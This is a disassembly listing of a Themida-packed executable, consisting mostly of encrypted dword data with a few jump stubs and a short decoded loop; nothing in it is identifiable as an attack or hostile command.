		dd 0CCC5BC6Eh, 0BE008058h, 0DE9A461Ah, 6627DBD6h, 2C383215h
		dd 0ED85EF0h, 66441974h, 6906069Ch, 66112A92h, 74083D15h
		dd 8F443215h, 66223218h, 0FC568986h, 0AD8921A1h, 7F025852h
		dd 59BFBF7Ch, 9F1727B8h, 4325475h, 66C93DF5h, 7223215h
		dd 8FE4E1EAh, 0FFFFCF11h, 4ECEDFF8h, 4AA86CD2h,	0A2458AFDh
		dd 0C0D5F251h, 0A45302CCh, 2AA8ED96h, 29458A15h, 57DFA024h
		dd 91792619h, 2A1E2C5Eh, 89798A15h, 2A162C5Eh, 0CA798A15h
		dd 2A492C5Eh, 13798A15h, 2A382C5Eh, 0F2798A15h,	2A5C2A5Eh
		dd 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h, 0D7BA8660h
		dd 24CE2559h, 0F1439C91h, 0AEB132DCh, 71BA8C03h, 0C3A8EDD8h
		dd 0A2458A42h, 0D558DDAEh, 38C88260h, 2C422C4Fh, 47DF0746h
		dd 0D552BED5h, 5E0003C6h, 2A5492B8h, 0AE307515h, 0A75CDDAEh
		dd 0B4C1A08Fh, 0B0D9FB57h, 0A4530EF0h, 6FDD7BAEh, 0A25863E9h
		dd 5FABA851h, 0AA307519h, 0AE6232DCh, 2F168C03h, 3CD04DCBh
		dd 2B967513h, 2ABD5414h, 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h
		dd 3044h, 2DE9h, 0D002E100h, 4Ah, 9 dup(0)
		dd 0E7E90000h, 6800000Ch, 6168BEAh, 0F8F4D7E9h,	8CEC68FFh
		dd 0CDE90616h, 68FFF8F4h, 6168DA7h, 0F8F4C3E9h,	8E3868FFh
		dd 0B9E90616h, 68FFF8F4h, 6169155h, 0F8F4AFE9h,	948168FFh
		dd 0A5E90616h, 68FFF8F4h, 616956Bh, 0F8F49BE9h,	3A1D74FFh
		dd 0D0530225h, 63FE98BBh, 0F86B2B4Eh, 8DA8C0E3h, 33C55778h
		dd 0C4E7FC5Fh, 54778CAFh, 0E80B2003h, 0D3A2B792h, 0C3827526h
		dd 0B6AD66EDh, 130E4679h, 3F538992h, 4D8A371Ch,	41E2451Ah
		dd 6D044DB6h, 0D423D481h, 5B6D044Dh, 0CDF071A6h, 0B682978Ah
		dd 11C2EFE3h, 6B0B79B5h, 45664B00h, 66F519B6h, 0BB422166h
		dd 4600BD5Dh, 410Eh, 0EFAAF500h, 5905B6E3h, 2B6B0B7Eh
		dd 47C863F8h, 3CE9CE83h, 0B4D77209h, 5EFF80E3h,	66F51D9Dh
		dd 942D3A7Fh, 1E51A657h, 0CC8766F5h, 21E18D51h,	28002CCAh
		dd 0E3D05186h, 46007235h, 736h,	7F991D00h, 8, 0E27D1649h
		dd 83C748FDh, 0A4F305E9h, 5203CB8Bh, 54A0E8BEh,	0B937723Ah
		dd 3CDDDA5Dh, 0DB56EAB1h, 325675B8h, 0A1A50789h, 91C8D5h
		dd 3256466Dh, 0B30C57B1h, 278BD95Bh, 33D8DAB7h,	0CA56EAB1h
		dd 0E9836558h, 0B0A4F305h, 0F29D11F1h, 2375FD7Ah, 0C8BB17FBh
		dd 0D525FB6Ch, 0ADFDF53Fh, 91638EC3h, 0CFB73422h, 0B723AC7Ah
		dd 1A20AD29h, 7975FD7Ah, 53987C27h, 0A073EB0Eh,	8306BDFFh
		dd 0A4F305E9h, 0BD8DDB8Bh, 616A54Ch, 2B5B8D8Dh,	44B80617h
		dd 2B321566h, 2E9C1CFh,	0C8D00731h, 4904C783h, 0F5FCF675h
		dd 77BD5550h, 29562660h, 5D04246Ch, 60770558h, 0F605626h
		dd 1487h, 0FE900h, 97360000h, 48DB8A0Eh, 0F1FCCCF3h, 0FE55FDE3h
		dd 48C0F9Bh, 66000000h,	61136AB8h, 1891BD83h, 7500060Fh
		dd 0ADBD8309h, 60F26h, 53501974h, 11B8C08Bh, 89000004h
		dd 0F294185h, 1F9D8D06h, 0FF0611B0h, 83585BD3h,	0F26ADBDh
		dd 17740006h, 11B85350h, 89000004h, 0F294185h, 0C09D8D06h
		dd 0FF0611ACh, 60585BD3h, 24ECD981h, 0E9613A4Eh, 0Ch, 2235248Bh
		dd 9F2CA278h, 0F394CE33h, 22BD5550h, 31061976h,	5D04246Ch
		dd 76223558h, 66600619h, 27A7C881h, 61C78B66h, 0BD8D8DF8h
		dd 8906172Fh, 0F2C658Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0BF8C7DA2h, 55D39A04h
		dd 0BE606C74h, 19021FCAh, 0C761B2B0h, 0F07C185h, 640006h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 470FA121h, 0FA8B6656h, 9185C758h, 60F24h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 1206C356h, 97D781F1h, 0E957A520h
		dd 14h,	0B82FDFEh, 0FFA27D10h, 0C5DECB72h, 43BDC82Ch, 7A89FD2Fh
		dd 0B09B5FFh, 6A060Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0DF6CDAC3h, 353CA2E8h, 95FF77CAh
		dd 60F2A05h, 0FE9h, 0E6F41600h,	8D308F3Dh, 0B7257168h
		dd 0F648086Bh, 95FF006Ah, 60F3451h, 5AEBC08Bh, 2F5DEBCCh
		dd 29EC5AF7h, 7F2AB72Eh, 3105877Dh, 0FC81C8F0h,	8FA8654h
		dd 0ED431B41h, 0F05AF32Eh, 0B6579D3Bh, 0A21D3FB9h, 0D7420EDFh
		dd 206C9563h, 0A88CF8EAh, 0EB819151h, 0CCF69BB0h, 9A49C411h
		dd 0F8D5ECA6h, 69811F61h, 278FEA41h, 0EAFCCF2Ah, 3B21F7FCh
		dd 0B17B1C3Ch, 0EDE9C95Fh, 60000000h, 0A8D88C66h, 0DF840F04h
		dd 8B000000h, 0F1739B5h, 0FE8306h, 22850Fh, 85C60000h
		dd 60F24FDh, 69696845h,	0B5FF8E72h, 60F1CE5h, 72E7858Dh
		dd 0D0FF0612h, 22758589h, 0F08B060Fh, 0FE93E80h, 3185h
		dd 80858D00h, 0FF06149Eh, 0EDBD8BD0h, 81060F19h, 1184C7h
		dd 39B58B00h, 87060F17h, 8B9F7h, 0A4F30000h, 1739B58Bh
		dd 858D060Fh, 61336D9h,	0B58BD0FFh, 60F1229h, 0F00FE83h
		dd 2285h, 0FD85C600h, 54060F24h, 4EBEF468h, 0E5B5FFFFh
		dd 8D060F1Ch, 1272E785h, 89D0FF06h, 0F122985h, 80F08B06h
		dd 850FE93Eh, 3Ah, 1229B58Bh, 858D060Fh, 6149E80h, 0BD8BD0FFh
		dd 60F19EDh, 1184C781h,	0C7830000h, 29B58B08h, 87060F12h
		dd 8B9F7h, 0A4F30000h, 1229B58Bh, 858D060Fh, 61336D9h
		dd 0C361D0FFh, 3021858Dh, 85890617h, 60F26B5h, 36E9h, 0A584B700h
		dd 33h,	0Bh dup(0)
		dd 0E9000000h, 4CAh, 17324A68h,	4D58E906h, 0D168FFF8h
		dd 0E9061732h, 0FFF84D4Eh, 17347268h, 4D44E906h, 0B6CBFFF8h
		dd 3A5B7E93h, 0A5EF1227h, 0D282A5BAh, 43173A4Fh, 20B2D3E8h
		dd 485DF890h, 0D6EB4E25h, 687DE0B3h, 0F70C2F45h, 2DCA7B28h
		dd 266ED1Dh, 3F53F20Bh,	0A4BCEF1Ch, 7459FC93h, 0F0A58ABFh
		dd 91E78A6Fh, 3774A1B6h, 44E7186h, 9011C66Dh, 0D0FDD5C4h
		dd 0B525B1Fh, 4025DA6Bh, 0F530DC1Fh, 6CFB4066h,	0D88395h
		dd 320E846h, 87CF0000h,	0BB17822Eh, 6A11DD8Eh, 0A04C6B0Bh
		dd 107951DEh, 9BFF4F9h,	51570A68h, 7764358Ah, 0FB46F5DFh
		dd 174479C5h, 0A0D67066h, 2D12C76Fh, 0ED1AB8E1h, 219294B1h
		dd 8A0BB879h, 5607AC5Dh, 94406DA6h, 0CD5C5CD1h,	1542774Bh
		dd 6E92E7D9h, 6EEF7521h, 0DD780E41h, 6CCFA5C8h,	8F36DE61h
		dd 16735875h, 362h, 4C61C49Dh, 0DCF16C29h, 6F849FB9h, 15084Ch
		dd 8DA285DDh, 364ADA6Ch, 84DBFE13h, 2E698CA1h, 65FB1E33h
		dd 31DEADC2h, 0ED1C7780h, 0B0C9C066h, 0E27D1649h, 0FBC748FDh
		dd 5607349Eh, 6B137EC6h, 0A083D275h, 770B3E6Bh,	0B96AA7D4h
		dd 66ED1D3Eh, 0AEC344F9h, 44114481h, 9E3FF4D9h,	66ED1D59h
		dd 97C332DEh, 0A669A04Ah, 0B5CDF071h, 0CD00AD92h, 73149588h
		dd 8CE3EF7Dh, 111C3F55h, 770DD384h, 0DBBC19FEh,	24000002h
		dd 0B2D5EA4Dh, 486B80E3h, 0DBFE130Eh, 7093A8BBh, 7283D18h
		dd 0AC8FE375h, 3C1F7497h, 0D0530427h, 67C298BBh, 25D68352h
		dd 66ED1BD2h, 0AA4D665Dh, 0C59FF5EFh, 18FA6FEh,	755A8F45h
		dd 2B5E8BC0h, 4976F76Ah, 0A4BFD90Ch, 0CD4EE981h, 1314F02Ch
		dd 0AD92476Bh, 0ECF36F8Ch, 0CD00AD66h, 5116978Ah, 962DEB32h
		dd 0C73E45F8h, 25000001h, 351A3D53h, 5D9A4B88h,	0D26D044Eh
		dd 0C85BFA1Dh, 8AAD2EE3h, 0F3C51F4h, 14B1BBDCh,	0CD1FA175h
		dd 0DE9378ADh, 7889BBBh, 0F2865E3Bh, 44F52257h,	6B0B2F46h
		dd 0A1186CA8h, 0E6142627h, 7ECA165h, 8B6C1D5Ah,	0A466F4CFh
		dd 2ECD6EEFh, 0EE66F4D0h, 0D543DAA9h, 85460073h, 0D8609748h
		dd 22D766F4h, 4085A1h, 0AA6C0000h, 5B6E3EFh, 6B0B6799h
		dd 193A1FD4h, 66F527E2h, 0E1C661F6h, 781D163Eh,	164B00E5h
		dd 5EF98E31h, 0D7ACC479h, 54A2988h, 0CF799F66h,	0D9F24600h
		dd 0B5000000h, 654AED82h, 588D90C2h, 3D53CED7h,	0FE92351Ah
		dd 5035286Dh, 0DE81669Bh, 604B688h, 1397B8Bh, 39BA750h
		dd 0A6DB906Dh, 194ED183h, 69FB9134h, 0FE5CD7D1h, 0BED30897h
		dd 413B41Dh, 0C58FC26Dh, 1C46B162h, 3CF16D04h, 4A6D2207h
		dd 792E1336h, 9CBFD5F8h, 21E5A87h, 0F3C099F6h, 9511844h
		dd 0FB3519FCh, 0E7EBAE7Ah, 53CE87BAh, 22F4A5D2h, 0D6B1559h
		dd 60F82B58h, 5083B0C5h, 863B203Bh, 274FA859h, 33E866F3h
		dd 60FB8FB2h, 0F4CAD655h, 0F6533888h, 13Ah, 7489ACC5h
		dd 4190451h, 97ACB7E1h,	283D2074h, 0B5CA6D05h, 1E720294h
		dd 6C03263Bh, 0C691B4C9h, 4D23465Bh, 5906D5EAh,	0ED1A4FA8h
		dd 0D8F1E866h, 0E6411649h, 0A8CB4C01h, 3D6075D0h, 0E6EF0427h
		dd 351A3D53h, 4459FC92h, 84B12178h, 31B92648h, 67E80824h
		dd 0A00F893Ah, 0C1FD6B0Ah, 0B514C479h, 692C4FEBh, 0DB5C11F6h
		dd 2356217h, 6B9ECB6Eh,	9D52372Ah, 9566071Ch, 4366F48Ah
		dd 0D2F50A2Dh, 59B69BBEh, 0B2h,	0A353609Ch, 0F5250FFAh
		dd 0EFAA6B74h, 0B05B6E3h, 426B137Fh, 1D13E495h,	671C66EDh
		dd 1D6E893Ah, 14C966EDh, 157FADFh, 1D7A7D2Eh, 0B566EDh
		dd 24619ECBh, 0ED1C8473h, 55F6AB66h, 66ED1CA2h,	0E1B5D88Dh
		dd 63E4997Eh, 0FB552B4Eh, 72541ACDh, 0B9D1F4F6h, 0CF04B99Eh
		dd 0B060C9EAh, 30ED529Fh, 0F7A618F4h, 84658BBCh, 3594C0DBh
		dd 894ECF03h, 0DBB0E3FAh, 65E69B80h, 0F4092C42h, 73A0BBD1h
		dd 8A0B1640h, 0CF5202A5h, 4F1CF1EAh, 224FEA80h,	65C334E5h
		dd 0B76C395Eh, 68FE2136h, 2B6DA0CDh, 0B50CD841h, 0B9EEDF16h
		dd 3F65338h, 5D000000h,	3E53CED7h, 0FD93361Bh, 81D2755Ah
		dd 4116B99Eh, 0A5E01E6h, 0D3A74A2Fh, 0A4F09378h, 6731D4B9h
		dd 217417FCh, 68F7593Eh, 3F4Dh,	68240489h, 5A8h, 68240489h
		dd 3384h, 52242C89h, 17317868h,	0D0895A06h, 2C8B545Ah
		dd 4C48124h, 50000000h,	0A0242C81h, 8F736521h, 45810845h
		dd 6521A008h, 2434FF73h, 4C4835Dh, 582434FFh, 0E904C483h
		dd 0FFF8489Ah, 0D1B87DF9h, 3061735h, 85E0FFC5h,	67126B62h
		dd 0C94F69CFh, 4403C6C7h, 971534B0h, 0FC59AD12h, 92216262h
		dd 0EE6E1D3Fh, 703B9A41h, 0BD78D233h, 7B7D9634h, 0B01C562Bh
		dd 0B12B47Ah, 6E4D4D42h, 594E8214h, 5A399B9Ah, 0FE2A09FEh
		dd 3260F8F9h, 2D34E841h, 3D585AA2h, 4424449Dh, 0E8089F94h
		dd 11h,	0B9F20C8Ch, 0F60676B3h,	7C02E281h, 0CA881FCh, 0D7BF0FAEh
		dd 1880F5Eh, 0F9000000h, 6341C681h, 10E90000h, 97000000h
		dd 0C182235Dh, 6262B61Eh, 6A1B2296h, 68A663D2h,	0
		dd 5FC8B70Fh, 0D3816651h, 0FF5909B0h, 0FE83734h, 67000000h
		dd 62EC2544h, 4756C630h, 2C013A8Fh, 81666384h, 5ABC7DCAh
		dd 0FCABB958h, 0C08139F7h, 6E70FEE8h, 0E88136B1h, 32CD7382h
		dd 5810F60h, 66000000h,	8AF1E781h, 1237D081h, 81610943h
		dd 317708C0h, 68B96617h, 0DA8A50EBh, 0B23E048Fh, 0CE9A1h
		dd 6D110000h, 0CC29EAB3h, 0C4A92332h, 0EF83CA21h, 5E96004h
		dd 7D000000h, 0BAE18B82h, 0F870Fh, 0AE90000h, 6F000000h
		dd 0C8C389F4h, 0BD14FAFAh, 0FF8161B7h, 0FFFF9DC4h, 16850Fh
		dd 0E9F50000h, 25h, 8F6331D6h, 0AB873386h, 0B7365AE1h
		dd 0E4C4A642h, 0ADF18166h, 0FF49E9E2h, 9E39FFFFh, 5756168Ch
		dd 8593A209h, 0C18D8DE6h, 6A061738h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 9023C355h
		dd 1A758D89h, 8D29060Fh, 60F33D1h, 2C658D89h, 6A060Fh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0F70EBAC3h, 1E2D6DF3h, 1709B58Bh, 85C7060Fh,	60F07C1h
		dd 65A8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	36C35545h, 16E4345Eh, 918589DEh, 0C7060F28h, 0F249185h
		dd 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 53D47DBAh, 0BD1A0F5Eh, 0D080E58Ah
		dd 39B5FFF1h, 6A060F08h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 3A3DC355h, 7C170BD7h
		dd 26949323h, 7E8h, 5DABC300h, 4538CC6Fh, 22119D23h, 665E060Fh
		dd 0A382E081h, 2A0595FFh, 6A060Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 952941C3h, 60F19F5h
		dd 95FF006Ah, 60F3451h,	5FEBC08Bh, 0DE72981Dh, 0FBB2DE2Eh
		dd 63D86C2Dh, 9286BCA4h, 1BEBE2A0h, 0FD050B7Dh,	0FBA3EE17h
		dd 80DBC2DCh, 0F47B71E6h, 0BEADDB75h, 0E1F73CC4h, 1EE205EEh
		dd 11AA5091h, 0D4B05E9Ah, 0B318B6E4h, 53714E27h, 0D1E50125h
		dd 0FD06FFD6h, 68B15A5Ah, 39DDBAA5h, 0FEC251DBh, 86D6B6EAh
		dd 97C1AD84h, 0E9F98DF3h, 40h, 7ECB338Eh, 416C7452h, 636F6C6Ch
		dd 48657461h, 706165h, 140000h,	0Ah dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5CF8C8
; ---------------------------------------------------------------------------
		push	6173B60h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6173C60h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6173E9Dh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6173FAAh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6174320h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	61743A6h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	61743E5h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	61744E0h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6174579h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	61745E4h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6174788h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6174868h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		db 3Ah,	27h, 4
		dd 9689CCEFh, 29345E81h
; ---------------------------------------------------------------------------


loc_5CE8BC:				; CODE XREF: Themida_:005CE8D0j
		adc	al, 0F1h
		movsd
		mov	edx, 4BEE82A5h
		db	36h
		adc	eax, 0BE99F183h
		test	eax, 4156F186h
		push	ds
		jnz	short loc_5CE8BC
		aad	0B2h
		fdivr	qword ptr [ecx+64h]
		xchg	eax, ebp
; ---------------------------------------------------------------------------
		dd 14C037E8h, 807766EDh, 6B6A0743h, 0E2A922F3h,	16495861h
		dd 4366E742h, 82250A2Dh, 0C16449ECh, 0ADA68B96h, 263C8BD8h
		dd 0B7CBEE03h, 0F72A6794h, 0D225C661h, 5D6D044Dh, 0EF1227A8h
		dd 2CD9BE99h, 949C79F0h, 2CAD6F17h, 0C3D87309h,	1242A2F7h
		dd 40752A0Fh, 11286213h, 7A2F6B0Bh, 0F1877495h,	509566F4h
		dd 952EEA33h, 0FB2E4600h, 2440C164h, 35h, 0E3EFAA0Bh, 0E4679B6h
		dd 56792E13h, 8C412601h, 67346A0Bh, 560B6B0Bh, 27AB5071h
		dd 2C7166F5h, 674A865Fh, 1B00F6C6h, 68B09D1Eh, 5460045h
		dd 0E9h, 233D53ECh, 0D0024D4Bh,	183348E2h, 90ABC0E3h, 5BFB2E5Bh
		dd 12EE3C8h, 3D5A750h, 5ADB906Dh, 9BBED275h, 0DA7D13B6h
		dd 183D70ADh, 0D5936405h, 273D6D03h, 0F4944004h, 398A7B7Fh
		dd 0EFD4558Ah, 0FE13364Ch, 358735Dh, 52F58B6Dh,	0EA441A3Dh
		dd 779D8296h, 3E81D92h,	0C3F0E2B7h, 0B270412h, 3FBF6B6Bh
		dd 530FD6EFh, 0B8ED481Fh, 4F235683h, 29566BECh,	0A66397EDh
		dd 87AA91ECh, 5D152CDh,	0D4113E94h, 0ED6EC9A1h,	667674Ch
		dd 3E6B2065h, 0F2D74A0Bh, 5C8FBC3Dh, 0E90C2104h, 3DABB691h
		dd 8D8EFB33h, 0DD24BA8h, 0DEB30000h, 1243667Bh,	0BDD7FA0Fh
		dd 2A6A8DA2h, 6BFF2237h, 89ABBD0h, 3045E078h, 0BED3760Dh
		dd 5065F89Bh, 0DFF4572Dh, 45B26310h, 0EA66ED13h, 3F53DAF3h
		dd 8EE4071Ch, 0FF999ABDh, 0E5FA2F64h, 0E3EFAADCh, 8B3C79B6h
		dd 6D044E6Ch, 8A6D0EC3h, 0A56D044Dh, 978ACDF0h,	6638E916h
		dd 216B0B67h, 9566876Ch, 8766F527h, 72EDA7DAh, 0C65F2CF1h
		dd 4600CF52h, 0CE1Bh, 0E8ABDE00h, 53EBF475h, 88351A3Dh
		dd 3A1F0255h, 89E10485h, 0DF1CC9AEh, 44DC92Eh, 38B96E6Dh
		dd 44A3997h, 203B516Dh,	0B792E80Bh, 0BF1386D2h,	843F5692h
		dd 6970ABE6h, 0D46C8B3Ch, 0EC36D03h, 67AF608Dh,	0CE6B0AD4h
		dd 44B0EC19h, 0C730CBCEh, 0D6A2B738h, 31E20FC3h, 6505FD67h
		dd 0FFF2965h, 8A758CC6h, 63904509h, 0E8FD5830h,	5692ADC5h
		dd 0B6A9A282h, 22D57671h, 0D6CE587h, 0B0182358h, 0F08EFB22h
		dd 0CD2AE0Bh, 0DEB30000h, 1243667Bh, 0BDD7FA0Fh, 2A6A8DA2h
		dd 6BFF2237h, 89ABBD0h,	3045E078h, 0BED3760Dh, 5065F89Bh
		dd 0DFF4572Dh, 45B26310h, 0EA66ED12h, 3F53DAF3h, 15FA652Eh
		dd 0F3162B60h, 5A8DBA9Dh, 8D42273Ah, 53EEF70Ch,	92351A3Dh
		dd 0A34459FCh, 6D044E58h, 3A4FEA80h, 1E64117h, 2D085Eh
		dd 4DE512C3h, 954A6D04h, 0A4E92F14h, 0D77208C7h, 0F543D5C2h
		dd 0A2284C0Fh, 0F000000h, 0B6E3EFAAh, 2649EC83h, 4370F16Ch
		dd 0B4DE492h, 0B1964B6Bh, 0F54E6B90h, 372A6D66h, 79E4AF52h
		dd 0D7B48994h, 3E7A2706h, 0A9EB742Bh, 515F8AB6h, 0C09F64E5h
		dd 37DF39h, 638C46h, 49730000h,	4D9C5B0Ch, 0DE936D04h
		dd 4E3EBC5Dh, 0A8F16D04h, 7A4CFD2Ah, 0B56B0B63h, 0B0C8EB00h
		dd 60356895h, 336C18FDh, 32AEFA28h, 0D1B6376Ch,	91BE1485h
		dd 4ED71854h, 45C4C77Eh, 604F23C4h, 0D18664FCh,	63FE99BCh
		dd 6B67327Eh, 17B58D3Eh, 5B106B0Bh, 0B740F12Eh,	8066F528h
		dd 58354ACBh, 8F8h, 0E3EFAABFh,	2FC879B6h, 86D044Eh, 0F4A5D253h
		dd 6B0B5A4Eh, 2E4F34E9h, 66F539CDh, 647D0A4Fh, 43125B31h
		dd 1146FBE0h, 9F6772Ch,	4600DE0Fh, 9A5D0E4Bh, 9566F531h
		dd 16435FE0h, 2A000000h, 44E26D5h, 3773A06Dh, 2D2A5D63h
		dd 8D6AEB9Fh, 0FFFFFC52h, 0E3EFAAF4h, 4CEF83B6h, 431B267h
		dd 0B797353h, 2005BA6Bh, 0F519FCFFh, 8CDB2066h,	0BDA375h
		dd 0EF84B746h, 57AFCB4Ch, 72000005h, 0DE0B163Fh, 0F511CA2Dh
		dd 2FB06566h, 960D4926h, 0FD7827AAh, 0D8C8B738h, 62C59ACDh
		dd 4E8415E1h, 0C433E421h, 6B6D03FAh, 29D78AB6h,	0D6A65866h
		dd 77772855h, 456B0A6Eh, 75A05708h, 0E29766F4h,	0D8F19D61h
		dd 0B163E24h, 0DA457126h, 0BF75AACCh, 0B257B21Eh, 637821BEh
		dd 20305521h, 8CB9EE0Bh, 3A1E134Fh, 0EABA1AAFh,	30D2C869h
		dd 2A5BB41h, 0AF94C96Ch, 6F9C3663h, 511F1ABEh, 0A8BE61C1h
		dd 0EE2B588Dh, 384A7BBh, 95C18AE0h, 6E02A58Ah, 4C6196CBh
		dd 0EDF85329h, 21328A4Bh, 9579D6BBh, 0F000000Ah, 86A9BE99h
		dd 1C3F54CFh, 0AFD2E77Ah, 44677CE7h, 0D3F4092Ch, 80DBAF41h
		dd 1833486Bh, 0ACB7E003h, 3B1E7497h, 0F9AA5726h, 66ED0FFEh
		dd 53294239h, 0B0ED1A3Dh, 44DF8FFh, 0D225D66Dh,	5D6D044Dh
		dd 0AE2FE4A8h, 0B61C7DC9h, 5E0F4C89h, 6D044D99h, 0AF48E99Eh
		dd 886D044Dh, 4DCD2ADBh, 0AD626D04h, 19CAF778h,	6B0B79DDh
		dd 4376A358h, 0D5F80D10h, 3F729F82h, 73280D28h,	0BEC0DF2h
		dd 4766F51Ah, 66F529B4h, 0B2C61E7Bh, 0C8FDB297h, 5A74EA9Bh
		dd 16CB64FCh, 0FCFBACE9h, 0CB6D0439h, 6AA3F89Ah, 0A1561AE3h
		dd 7634C374h, 46FB6D03h, 3CBFE0C5h, 0E06D0376h,	0E335CC9Bh
		dd 884C0F1Dh, 24h, 0E3EFAA6Fh, 5CD105B6h, 6F1C6B0Bh, 0F53B39BEh
		dd 1449FE66h, 3046822Fh, 8899377Eh, 1A19F677h, 80000000h
		dd 0B6E3EFAAh, 0B647105h, 7620536Bh, 0E1C659FDh, 5D12F72Ch
		dd 7E6318DCh, 1A3D53F5h, 0E5E5BF0Fh, 91EED38Eh,	988h, 0ACC164FDh
		dd 3C51CC89h, 0CFE47F19h, 6075E8ACh, 0ED02253Dh, 0D6AA3ACCh
		dd 243B5E73h, 8EC9EC01h, 55B7E93h, 913E0D22h, 0ED0F17E0h
		dd 10292066h, 0B6E3EFAAh, 0B519D05h, 3E23D86Bh,	1E74C59Bh
		dd 6CA1563Bh, 5EF72A57h, 0D9A142C3h, 54444057h,	0AA768B47h
		dd 79B6E3EFh, 9672073Dh, 779AD6FCh, 0A75C41DCh,	28F18526h
		dd 873C49C7h, 90C2F5A2h, 0ACE90C8Dh, 3C6F9CB1h,	0BA86071Ah
		dd 0AD4AFBDFh, 8245B936h, 0BA6B98CDh, 43C067A4h, 204126DBh
		dd 4BC026DBh, 966FFC41h, 2ACBCA82h, 163EBh, 0EFAAD200h
		dd 85BA9DF5h, 51FBA758h, 954A6B0Bh, 0FEA72C68h,	0FBB71D76h
		dd 0ABE8957Ah, 0F538FDFAh, 0FC7D3266h, 0A5BA83D9h, 295EC194h
		dd 0A6BCDFF4h, 0FD7D9E83h, 0E44405Eh, 471DAAB9h, 0D6ACCFE4h
		dd 0D6D8E73h, 73290B44h, 6C02C19Eh, 0FB91B4C9h,	6B2F7B60h
		dd 5C41DC79h, 9F849FB9h, 5380B5EAh, 8ED4820h, 394DAA5Bh
		dd 2DE266F5h, 994A77F8h, 66F5397Eh, 0E54016B9h,	0E9164B00h
		dd 38FCFBACh, 7E3366F5h, 88BBE8FDh, 0E92955F0h,	1FA4B444h
		dd 8415E162h, 0E270214Eh, 5564FBC8h, 0D10EBBA0h, 3C8D720h
		dd 9ABD606Dh, 0AED15287h, 45687DD8h, 7A270C2Fh,	0C96B8C3Dh
		dd 0FC46D03h, 0C922ED8Eh, 93686D03h, 0A6BAEDF4h, 0C1192E8Ch
		dd 6BA09AECh, 2D50D186h, 3EDFF457h, 1950655Bh, 2EC97AB7h
		dd 9F8B026h, 9407D354h,	0BFFC293Eh, 0B025E90Eh,	18994EF8h
		dd 0D7BC9FF5h, 0EFBFF1B6h, 15304776h, 52F58D30h, 0C195B86Dh
		dd 83D1870h, 360B523h, 568BAEC4h, 77741368h, 390258E1h
		dd 0EACF041Fh, 96D30035h, 0F0C012E5h, 0E7681D7Ah, 7ED9AFD2h
		dd 864C4D99h, 12881D59h, 4B87B915h, 2D609DCAh, 0D374F568h
		dd 78F84D43h, 3360752Ah, 34B245F6h, 0C87D78E8h,	526A47h
		dd 71AD0000h, 0DB33A8DAh, 1F28A9C5h, 0B6E3EFAAh, 0B5CD105h
		dd 82671C6Bh, 96ABB6DFh, 8E9CDF6Ah, 0B5BED80Ch,	0E2977CDFh
		dd 28CF80ADh, 0F66F539h, 0BBF8255Ah, 0D152CD88h, 0F538CF30h
		dd 92C56866h, 0F12D5A8Fh, 0D2049929h, 0FEB03DACh, 0CA9D4A5Dh
		dd 767F1495h, 0ED1A3D53h, 6083A6BAh, 97AC2D08h,	520376Ah
		dd 28A98CE2h, 0EDA73D5Ch
		dd 62C94672h, 0A2BBA450h, 0C603406Dh, 7459FC93h, 0DCD91EBFh
		dd 0A95E6D03h, 6C51CC86h, 319536B7h, 7C6B0AFBh,	2C679AC7h
		dd 24092C43h, 2253A6Fh,	0D225D651h, 5D66F4FAh, 0E18E73A8h
		dd 0C88BE4AEh, 86BB7055h, 9F6BECA1h, 6EABD8FAh,	9BE31432h
		dd 0D35442B4h, 0FBD1C432h, 89B66B64h, 0A0213C56h, 0C2619ABBh
		dd 0CBCE6D03h, 3529DA07h, 276B0AF2h, 0D7BC9FF4h, 28DDA122h
		dd 0EA0DBEFBh, 4566F491h, 92A0F90h, 66F491F2h, 0CFB4AFE6h
		dd 0D3F6692Ch, 8B59ABDh, 0F491A057h, 0F4E29766h, 48F9C09Fh
		dd 66F491AFh, 0BF9ED388h, 414ED7Ah, 6946003Ah, 37h, 0F5EFAA50h
		dd 0E611C29Dh, 516D044Dh, 0CD82679Ch, 7D2E6B98h, 6D044E7Ah
		dd 527F00B5h, 0D027D815h, 86D044Dh, 5A0FD34Eh, 5C9E38D9h
		dd 24D96B0Bh, 19E23Fh, 0AA490000h, 5B6E3EFh, 6B0B6471h
		dd 995E0FBCh, 9E66F522h, 90C558FBh, 53ED765Bh, 490F1A3Dh
		dd 0C98EE5E5h, 61287E4h, 1E730000h, 5203263Bh, 0FD97BACFh
		dd 6A2A4D62h, 0ABBFE2F7h, 0C85A7B90h, 0F0052038h, 7E93B6CDh
		dd 1025385Bh, 9FB497EDh, 857223D0h, 0AA66ED0Ah,	2C879AB3h
		dd 8CB91980h, 0B6A13DBh, 0DF954A6Bh, 336FF93Eh,	6F6336A9h
		dd 54459142h, 0FBB0A6C1h, 1D366916h, 0E4B58102h, 0FA8EC1EEh
